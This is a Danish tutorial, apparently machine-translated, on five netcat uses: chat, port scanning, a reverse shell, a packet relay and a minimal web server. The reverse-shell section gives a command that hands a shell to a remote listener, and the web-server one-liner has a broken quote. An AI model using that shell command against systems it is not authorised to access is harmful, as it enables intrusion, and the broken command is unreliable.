Netcat er et kraftfuldt kommandolinje-netværksværktøj i Linux, der kan sende og lytte efter TCP- og UDP-pakker. I modsætning til andre netværksværktøjer er netcat ekstremt grundlæggende. Men dens enkelhed gør det også muligt at udføre næsten enhver form for aktivitet over et netværk.
Denne artikel viser dig 5 enkle netværksopgaver, som du kan udføre med netcat. Yderligere vil denne artikel også fremhæve, hvad der gør netcat speciel, og hvorfor du bør inkludere det i dit Linux-værktøjssæt.
Hvordan virker Netcat, og hvorfor bruge det?
Netcat er et grundlæggende værktøj, der kan sende og modtage netværkspakker. Den blev første gang udgivet i 1995 af en pseudonym programmør ved navn Hobbit. Siden da har netcat været en vigtig del af enhver Linux-distribution.
I sin kerne fungerer netcat ved at sende netværksanmodninger fra en Linux-vært til en anden. Denne netværksanmodning kan indeholde enhver type data, og du kan sende den på enhver port.

Denne tilgang betyder, at netcat kan oprette enhver mulig type netværksforbindelse. For eksempel kan programmet oprette direkte TCP-forbindelser, som du kan bruge til enten at overføre filer eller oprette omvendte shell-sessioner.

1. Peer to Peer Chat-session
En af de mest grundlæggende anvendelser for netcat er en simpel peer-to-peer-chat-session mellem to Linux-maskiner. Dette er en kommunikationsmetode, der ikke er afhængig af nogen tredjepartsserver til at sende og modtage information.
- For at dette skal virke, skal du åbne en port mellem 49152 og 65536 på din lokale maskine. Det er her en fjernvært vil være i stand til at oprette forbindelse og sende vilkårlig information til din maskine.
sudo ufw allow 50000
- Du skal også åbne en anden port på fjernværten, for at din maskine kan sende information til den:
sudo ufw allow 50001
- Løb
netcatpå din maskine med følgende argumenter:
nc -lp 50000
Dette åbner en netcat-session, der aktivt lytter efter data på port 50000.
- Fjernværten kan nu sende alle tekstdata til din lokale maskine. For eksempel vil følgende kommando sende systemets standardinput til en ekstern maskine.
cat - | nc 192.168.122.136 50000

- For at svare på beskeden skal fjernværten også køre en lyttedæmon:
nc -lp 50001
- Nu kan du også sende en besked fra den lokale maskine til fjernværten:
cat - | nc 192.168.122.177 50001

2. Grundlæggende portscanner
En portscanner er et simpelt værktøj, der kontrollerer, om et sæt porte i en maskine er tilgængeligt fra en fjernvært. Dette er yderst nyttigt i tilfælde, hvor du ikke er sikker på, om dit system har de passende porte åbne.
For at tjekke for en enkelt port kan du køre nc -v efterfulgt af IP-adressen og den port, du vil kontrollere:
nc -v 192.168.122.177 80

Du kan også angive en række numre, hvor netcat sekventielt kontrollerer hvert portnummer inden for dette område. For eksempel vil følgende kommando scanne efter alle åbne “velkendte” porte:
nc -v 192.168.122.177 1-1024

En af ulemperne ved at forespørge porte er, at det genererer unødvendig netværkstrafik. Dette kan være et problem, hvis du tester et stort udvalg af porte i et lille hjemmenetværk.
For at løse dette skal du aktivere netcats “Nul I/O”-tilstand, som ikke skaber nogen netværksaktivitet på fjernværten:
nc -zv 192.168.122.177 1-1024

FYI: Lær, hvordan du kan bruge nmap selv uden sudo til at indsamle oplysninger om maskinerne i dit lokale netværk.
3. Reverse Shell
Omvendte skaller er brød og smør af penetrationstest i Linux. Disse er remote shell-instanser, der giver dig mulighed for at styre et system selv uden åbne indgående porte. Dette gør omvendte skaller praktisk, hvis du har brug for at få adgang til en maskine, der ikke har nogen SSH-adgang.
- For at oprette en omvendt shell skal du åbne en lytterdæmon på din lokale maskine:
nc -lp 50000
- Start en netcat-forbindelse i din fjernmaskine. I dette tilfælde skal du også passere fjernmaskinens shell-miljø:
nc -e /bin/sh 192.168.122.136 50000
Bemærk: Kommandoen ovenfor fungerer kun på ikke-Ubuntu-distributioner. For at gøre dette i Ubuntu skal du installere pakken “netcat-traditional” og erstatte “nc” med “nc.traditional.”
- Gå tilbage til din lokale maskine og kør en shell-kommando. For eksempel løb
lsvil udskrive den aktuelle mappe for fjernbrugeren.
ls -la

- For at afslutte den omvendte shell-session kan du trykke på Ctrl + C på din lokale maskines lytterdæmon.

Godt at vide: Lær, hvordan du effektivt kan bruge din omvendte shell ved at lære det grundlæggende i shell-scripting.
4. Grundlæggende pakkerelæ
Udover at læse og skrive direkte til en netværksstream, kan du også bruge netcat til at omdirigere en indgående forbindelse til enhver udgående port. Dette virker ved at sammenkæde flere netcat-lytter- og klientsessioner ved hjælp af UNIX-pipes.
- Opret en netcat-session, der lytter på port 50000. Dette vil fungere som den udgående port for dit grundlæggende relæ:
nc -lv localhost 50000
- Åbn en ny terminal og kør følgende kommando:
nc -lv localhost 50001 | nc localhost 50000
Hvis du gør dette, oprettes en ny lytterdæmon på port 50001, og den vil automatisk omdirigere alle pakker på denne port til port 50000.

- Du kan nu sende data til din indgående port, og netcat vil automatisk omdirigere sit output til din udgående port.
echo "MakeTechEasier" | nc localhost 50001

- Bortset fra lokale porte kan du også bruge denne funktion til at omdirigere al netværkstrafik til en anden maskine. For eksempel sender følgende kode data i port 50000 til den samme port på et andet system:
nc -lv localhost 50000 | nc 192.168.122.177 50000

Bemærk: For at dette skal virke, skal du køre flere dæmonprocesser, og det krypterer ikke nogen data, der passerer igennem.
5. Grundlæggende HTTP-server
Opsætning af en HTTP-server kan være en kompleks proces, selvom du kun ønsker at betjene en enkelt side. I den forbindelse kan netcat også fungere som en simpel statisk webserver, som du kan spinne op i Linux uden at installere yderligere værktøjer.
- Opret en grundlæggende HTTP-svarfil. Følgende kodestykke viser en webside med en simpel besked:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!
<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>
- Gem det som “index.http” i din hjemmemappe.

- Kør følgende kommando:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Du har nu en fungerende webserver. Du kan besøge din webside ved at åbne en webbrowser og gå til http://localhost:8080.

- Trykke Ctrl + C på terminalen for at afslutte den aktuelle webserversession.

Bemærk: Som du kan se, er dette kun en meget grundlæggende HTTP-server, og den er usikker. Hvis du kører din egen server, bør du følge disse tips for at sikre din server.
Godt at vide: Lær, hvordan du administrerer dine filer effektivt ved at bruge sed til at manipulere tekststrømme.
Ofte stillede spørgsmål
Jeg kan ikke oprette forbindelse til en ekstern maskine ved hjælp af netcat.
Dette problem skyldes højst sandsynligt en blokeret firewall-port på fjernmaskinen. Du skal sikre dig, at den port, du bruger på din maskine, er åben for både indgående og udgående forbindelser. For eksempel skal du løbe sudo ufw allow 49999 hvis du vil bruge port 49999 på fjernmaskinen.
Er det muligt at oprette forbindelse til enhver vært ved hjælp af netcat?
Nej. Mens netcat kan læse og skrive til en hvilken som helst vilkårlig netværksstrøm, kan den ikke oprette forbindelse til en maskine, der ikke kan findes fra dit systems netværk. Disse omfatter private netværk, der ikke har portvideresendelse aktiveret, samt luftgap-systemer, der ikke har netværksadgang.
Er det muligt at forfalske en forbindelse i netcat?
Nej. Dette skyldes, at netcat kun kan sende og modtage pakker fra en gyldig netværksgrænseflade. Du kan dog ændre, hvor den pågældende pakke kommer fra, hvis du har flere netværksgrænseflader.
For eksempel kan du løbe nc -l -s 10.0.0.2 -p 50000 at fortælle netcat eksplicit at sende pakker ved hjælp af grænsefladen, der har IP-adressen “10.0.0.2.”
Støt vores arbejde ❤️
Hvis du kunne lide denne artikel, kan du overveje at give drikkepenge for at hjælpe os med fortsat at udgive kvalitetsindhold.




















